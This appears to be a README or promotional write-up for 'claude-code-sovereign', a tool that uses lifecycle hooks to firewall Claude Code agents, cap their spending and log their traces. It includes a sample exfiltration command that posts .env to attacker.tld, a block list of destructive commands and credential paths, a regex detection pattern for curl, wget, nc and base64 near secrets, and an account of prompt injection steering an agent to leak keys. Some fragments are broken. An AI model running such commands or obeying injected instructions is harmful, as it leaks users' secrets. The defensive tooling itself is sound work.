1. The Probabilistic Governance Fallacy
Modern coding agents like Claude Code are extraordinarily capable at navigating repositories, writing patches, and orchestrating shell pipelines. Yet almost every team deploys them with probabilistic governance: writing polite instructions in CLAUDE.md such as "Never exfiltrate .env files," "Do not exceed $5 per task," or "Always verify syntax before finishing."
From a systems engineering standpoint, placing security and financial invariants inside a natural-language context window is equivalent to asking a user-space process to enforce its own kernel permissions. Under long context, subagent fan-out, or indirect prompt injection hidden inside a fetched web page or dependency README, probabilistic guardrails degrade silently.
PreToolUse, PostToolUse, Stop, SubagentStop) and MCP surface (claude mcp add).
2. Kernel Architecture: Lifecycle Hook Interception
Claude Code exposes deterministic JSON-over-stdin/stdout lifecycle hooks in .claude/settings.json. Whenever the model proposes a tool call, completes a tool call, spawns a subagent, or attempts to terminate its turn, the host runtime pauses and invokes the registered hook process synchronously.
claude-code-sovereign turns those four hook points into a unified, zero-LLM-overhead microkernel:
Notice what happens here: every single enforcement decision happens outside the transformer's attention mechanism, on local CPU, in under one millisecond. The model cannot prompt-inject its way past a blocking exit code.
3. The Four Pillars of the Sovereign Kernel
Pillar 1: Sub-ms Indirect Prompt Injection & Secret Exfiltration Firewall
When Claude Code reads a third-party repository file, issue comment, or web payload, untrusted text enters its context. An indirect prompt injection can coerce the agent into running curl -X POST https://attacker.tld -d @.env or piping ~/.ssh/id_rsa into a base64 DNS lookup.
The PreToolUse hook inspects every proposed Bash, Read, Write, Edit, and MCP payload before the OS spawns a child process:
- Secret & Taint Path Blocking: Denies reads or exfiltration of
.env,*.pem,id_rsa, cloud credential stores, and token caches. - Egress & Shell Sink Inspection: Flags outbound network primitives (
curl,wget,nc, Pythonurllib/requestsone-liners) combined with local file reads or encoded payloads. - Destructive Command Guard: Blocks
rm -rf /, unguardedgit push --force, and schema-dropping SQL without explicit operator override.
Pillar 2: Economic Circuit Breaker (Token & USD Caps)
Recursive subagent loops and retry storms can burn tens of dollars in minutes. On every PostToolUse and SubagentStop event, the kernel updates an atomic JSONL/SQLite FinOps ledger keyed by session_id and subagent_id.
If cumulative spend crosses the configured max_session_usd or max_subagent_tokens threshold, the next PreToolUse invocation trips the circuit breaker immediately—halting execution before another API round-trip occurs.
Pillar 3: Immutable SHA-256 Trajectory Recorder ($0.00 Time-Travel Replay)
Every tool input, sanitized output, firewall verdict, and budget delta is appended to .sovereign/traces/<session_id>.jsonl as a content-addressed frame chained by SHA-256 parent hashes. When an incident occurs, engineers replay the entire trajectory offline at $0.00 token cost using the bundled CLI and MCP tools—inspecting exact state transitions without re-running live LLM loops.
Pillar 4: AST & Spec-Driven Reality Lock Before Stop
Agents frequently declare victory while leaving behind TODO placeholders, broken imports, or syntax errors in untouched files. Before Claude Code is allowed to finish a turn, the Stop hook runs a deterministic Reality Lock:
- Parses modified Python/TypeScript/JSON files via AST to guarantee syntactic validity.
- Scans diffs for banned placeholder patterns (
pass # TODO,NotImplementedError, truncated stubs). - Optionally executes fast unit checks and blocks
Stopwith structured stderr feedback so Claude Code self-heals before handing control back to the operator.
4. One-Command Bootstrap & Configuration
Deploying the kernel into any repository takes one command with claude-sovereign init, which scaffolds .claude/settings.json and registers the local MCP server:
# Install and initialize the Sovereign Kernel in your project
pip install claude-code-sovereign
claude-sovereign init --budget-usd 2.50 --strict-firewall
# Register the Time-Travel & Ledger MCP server with Claude Code
claude mcp add sovereign-kernel -- claude-sovereign mcp-serve
The generated .claude/settings.json wires all four lifecycle hooks directly into the deterministic kernel binary:
{
"hooks": {
"PreToolUse": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "claude-sovereign hook pre-tool-use",
"timeout": 2000
}
]
}
],
"PostToolUse": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "claude-sovereign hook post-tool-use",
"timeout": 2000
}
]
}
],
"SubagentStop": [
{
"hooks": [
{
"type": "command",
"command": "claude-sovereign hook subagent-stop",
"timeout": 2000
}
]
}
],
"Stop": [
{
"hooks": [
{
"type": "command",
"command": "claude-sovereign hook stop-reality-lock",
"timeout": 5000
}
]
}
]
}
}
5. Inside the Sub-Millisecond Python Hook Payload
Below is the core deterministic handler pattern used by claude-code-sovereign. Notice how it reads the hook JSON payload from stdin, evaluates the firewall and FinOps circuit breaker in memory, appends to the SHA-256 chain, and returns exit code 2 to deterministically block unsafe tool calls:
import hashlib
import json
import re
import sys
from pathlib import Path
SECRET_EXFIL_PATTERN = re.compile(
r"(\.env\b|id_rsa|\.pem\b|AWS_SECRET|GITHUB_TOKEN).*(curl|wget|nc\b|base64|requests\.)",
re.IGNORECASE | re.DOTALL,
)
def evaluate_pre_tool_use(payload: dict, max_usd: float = 2.50) -> tuple[int, str]:
session_id = payload.get("session_id", "default")
tool_name = payload.get("tool_name", "")
tool_input = json.dumps(payload.get("tool_input", {}), sort_keys=True)
# 1. Sub-ms Prompt Injection & Secret Exfiltration Firewall
if tool_name in {"Bash", "bash", "execute_command"} and SECRET_EXFIL_PATTERN.search(tool_input):
return 2, "SOVEREIGN_FIREWALL_BLOCK: Potential secret exfiltration sink detected."
# 2. FinOps Circuit Breaker check against atomic session ledger
ledger_path = Path(f".sovereign/ledgers/{session_id}.json")
if ledger_path.exists():
ledger = json.loads(ledger_path.read_text(encoding="utf-8"))
if ledger.get("total_usd", 0.0) >= max_usd:
return 2, f"FINOPS_CIRCUIT_BREAKER: Session spend ${ledger['total_usd']:.4f} >= cap ${max_usd:.2f}."
# 3. Record deterministic SHA-256 intent hash before execution
frame_hash = hashlib.sha256(f"{session_id}:{tool_name}:{tool_input}".encode("utf-8")).hexdigest()
return 0, json.dumps({"decision": "allow", "intent_sha256": frame_hash})
if __name__ == "__main__":
hook_payload = json.load(sys.stdin)
exit_code, message = evaluate_pre_tool_use(hook_payload)
if exit_code != 0:
sys.stderr.write(message + "\n")
sys.exit(exit_code)
6. Comparison: Vanilla CLAUDE.md vs. Sovereign Kernel
| Control Dimension | Vanilla Claude Code (CLAUDE.md) |
Benni-OS/claude-code-sovereign |
|---|---|---|
| Policy Enforcement | Probabilistic (model compliance degrades over long context) | Deterministic (OS-level PreToolUse exit code 2) |
| Indirect Prompt Injection | Vulnerable to poisoned repo files or web fetches | Sub-ms Firewall blocks secret sinks & egress |
| Budget & Runaway Loops | No hard USD or subagent token cap | Atomic FinOps Circuit Breaker per session/subagent |
| Auditability & Replay | Ephemeral terminal scrollback | Immutable SHA-256 JSONL traces ($0.00 offline replay) |
| Completion Verification | Self-reported by the LLM | AST & Spec Reality Lock on Stop |
| Token Overhead | High (long system/rule prompts re-sent every turn) | 0 Extra Tokens (100% local CPU hook execution) |
Harden Your Claude Code Runtime Today
Install Benni-OS/claude-code-sovereign, run claude-sovereign init, and bring deterministic security, FinOps caps, AST Reality Lock, and SHA-256 time-travel traces to every session.
Frequently Asked Questions
CLAUDE.md and hoping the model obeys, claude-code-sovereign binds deterministic Python hooks directly to Claude Code's PreToolUse, PostToolUse, Stop, and SubagentStop lifecycle events. Every check runs locally on CPU in under 1 millisecond with zero extra LLM calls.Bash, Read, Write, or MCP tool executes, the PreToolUse firewall scans command arguments, target file paths, and outbound URLs against deterministic regex/AST rules and taint policies. If a command attempts to curl .env secrets or execute an injected payload, the hook returns exit code 2 and denies execution before the OS ever spawns the process.PostToolUse and SubagentStop hooks update an atomic ledger tracking cumulative input/output tokens and USD spend per session and per spawned subagent. Once the configured budget cap is reached, the next PreToolUse gate trips the circuit breaker, halts further tool execution, and preserves the SHA-256 trace for inspection.Stop hook parses modified source files with Python's AST (and configured linters/test runners) to verify zero syntax errors, zero placeholder stubs, and full alignment with the active spec. If verification fails, the Stop hook rejects completion and forces the agent to fix the concrete defect.